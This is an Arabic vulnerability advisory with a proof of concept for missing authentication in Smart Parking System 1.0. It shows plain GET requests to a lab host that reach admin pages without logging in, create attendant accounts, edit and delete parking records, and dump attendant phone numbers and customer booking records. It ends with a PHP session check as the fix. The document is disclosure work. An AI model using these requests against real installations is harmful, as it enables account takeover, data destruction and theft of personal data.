
إثبات مفهوم يوضح الوصول غير المصادق عليه إلى وظائف إدارية حرجة في نظام مواقف السيارات الذكي 1.0، مما يسمح بإنشاء حسابات، والتلاعب بالبيانات، وكشف المعلومات الشخصية القابلة للتعريف (PII).
| الحقل | التفاصيل |
|---|
| المنتج | Smart Parking System |
| البائع | code-projects.org |
| الإصدار | 1.0 |
| فئة الثغرة الأمنية | Missing Authentication for Critical Function (CWE-306) |
| معرف CVE | قيد الانتظار |
| درجة CVSS | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | لا شيء |
| الملفات المتأثرة | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
يفشل نظام مواقف السيارات الذكي 1.0 من code-projects.org في فرض المصادقة على نقاط نهاية متعددة مخصصة للمشرف فقط. يمكن لمهاجم عن بُعد غير مصادق عليه الوصول مباشرة إلى هذه النقاط دون أي ملف تعريف ارتباط للجلسة وتنفيذ عمليات مميزة بما في ذلك إنشاء حسابات مرافقين، وتحرير وحذف سجلات مواقف السيارات، وعرض جميع بيانات العملاء الشخصية وبيانات الحجوزات.
لا تتطلب استغلال هذه الثغرة الأمنية أي بيانات اعتماد، أو رمز جلسة، أو أي تفاعل من أي مستخدم شرعي.
لا بيانات اعتماد / لا جلسة
↓
طلب GET مباشر إلى نقاط نهاية المشرف
↓
attendant.php ← إنشاء حسابات مرافقين مزيفة
edit.php ← قراءة واستبدال أي سجل مواقف سيارات
basic_table.php ← حذف أي سجل مواقف سيارات
basic_table2.php ← تفريغ جميع البيانات الشخصية للمرافقين
admin_request.php ← تفريغ جميع رسائل البريد الإلكتروني للعملاء وبيانات الحجوزات
↓
اختراق كامل لوظائف الإدارة
افتح جلسة متصفح جديدة بدون ملفات تعريف ارتباط. انتقل إلى جذر التطبيق. تظهر صفحة تسجيل الدخول مما يؤكد عدم وجود جلسة نشطة:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
انتقل مباشرة إلى نقطة نهاية تسجيل المرافقين:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
النتيجة: يتم تحميل نموذج "إضافة تفاصيل مرافق مواقف السيارات" الكامل مع حقول للاسم الأول واسم العائلة ورقم الجوال والشارع واسم المستخدم وكلمة المرور. يمكن للمهاجم تسجيل حساب مرافق مزيف مع وصول إلى النظام.
انتقل مباشرة إلى نقطة نهاية تحرير سجل مواقف السيارات:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
النتيجة: يتم تحميل نموذج "تحديث تفاصيل مواقف السيارات" معبأ مسبقًا بقيم قاعدة البيانات الحية:
المدينة: مومباسا
الشارع: تيودور
المواقف: 150
التكلفة: 500
يمكن للمهاجم استبدال أي حقل وتقديمه لحفظ التغييرات مباشرة في قاعدة البيانات.
أرسل طلب GET مباشر إلى نقطة نهاية الحذف:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
النتيجة: يستجيب التطبيق بما يلي:
تم حذف موقف السيارات بنجاح
يتم تدمير السجل نهائيًا في قاعدة البيانات. لا حاجة لمصادقة، ولا رمز CSRF، ولا مطالبة تأكيد.
انتقل مباشرة إلى نقطة نهاية قائمة المرافقين:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
النتيجة: يتم إرجاع القائمة الكاملة للمرافقين بما في ذلك الأسماء وأرقام الجوال والطرق المخصصة:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
انتقل مباشرة إلى نقطة نهاية طلبات الحجز الإدارية:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
النتيجة: يتم إرجاع جميع سجلات حجوزات العملاء بما في ذلك رسائل البريد الإلكتروني والمواقف والساعات والتكاليف:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| الملف | الثغرة الأمنية |
|---|---|
attendant.php | إنشاء حسابات مرافقين بدون مصادقة |
edit.php | وصول قراءة/كتابة بدون مصادقة إلى سجلات مواقف السيارات |
basic_table.php | حذف سجلات مواقف السيارات بدون مصادقة |
basic_table2.php | وصول بدون مصادقة إلى البيانات الشخصية الكاملة للمرافقين |
admin_request.php | وصول بدون مصادقة إلى جميع بيانات حجوزات العملاء |
أضف فحص مصادقة الجلسة في أعلى كل ملف PHP موجه للمشرف:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}